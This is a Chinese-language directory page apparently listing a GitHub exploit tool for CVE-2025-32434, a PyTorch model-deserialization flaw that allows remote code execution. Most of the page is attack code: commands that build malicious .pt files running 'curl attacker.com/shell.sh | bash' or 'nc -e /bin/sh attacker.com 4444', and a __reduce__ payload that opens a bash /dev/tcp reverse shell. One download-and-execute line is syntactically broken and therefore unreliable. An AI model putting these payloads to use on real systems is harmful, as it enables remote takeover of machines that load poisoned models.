Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-32434-exploit — 用于利用 PyTorch 中漏洞的脚本,可在库版本 < 2.6.0 中实现后续远程代码执行(RCE)。 | Kitploit
工具/GitHubGitHub/b1tbit/cve-2025-32434-exploit
Payload生成漏洞分析漏洞利用渗透测试命令与控制远程访问工具
GitHubb1tbit/cve-2025-32434-exploit

CVE-2025-32434-exploit

用于利用 PyTorch 中漏洞的脚本,可在库版本 < 2.6.0 中实现后续远程代码执行(RCE)。

查看仓库
44个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

概述

此漏洞利用程序展示了 PyTorch 版本低于 2.6.0 中存在的一个严重远程代码执行漏洞(CVE-2025-32434)。该缺陷存在于 torch.load() 函数中,即使使用了本应阻止模型反序列化过程中任意代码执行的 weights_only=True 参数,仍然无法避免。

该漏洞的产生原因是 _weights_only_unpickler 实现未能正确限制反序列化,攻击者可以构造恶意的 .pt 模型文件,在易受攻击的 PyTorch 安装加载该文件时执行任意系统命令。

  • 受影响版本:PyTorch < 2.6.0
  • CVSS 评分:严重(预计 9.8)
  • 影响:在加载模型的主机上实现完全远程代码执行

使用方法

  1. 将其保存为 exploit.py
  2. 运行它以创建恶意模型文件:
root@kitploit:~
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"

输出示例:

root@kitploit:~
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt

[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully

自定义

修改 create_malicious_model() 或 create_advanced_exploit() 中的 reduce() 方法:

root@kitploit:~
# Example: Reverse shell payload
class ExploitPayload:
    def __reduce__(self):
        return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))

# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))

验证

检查目标漏洞

root@kitploit:~
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0
下载工具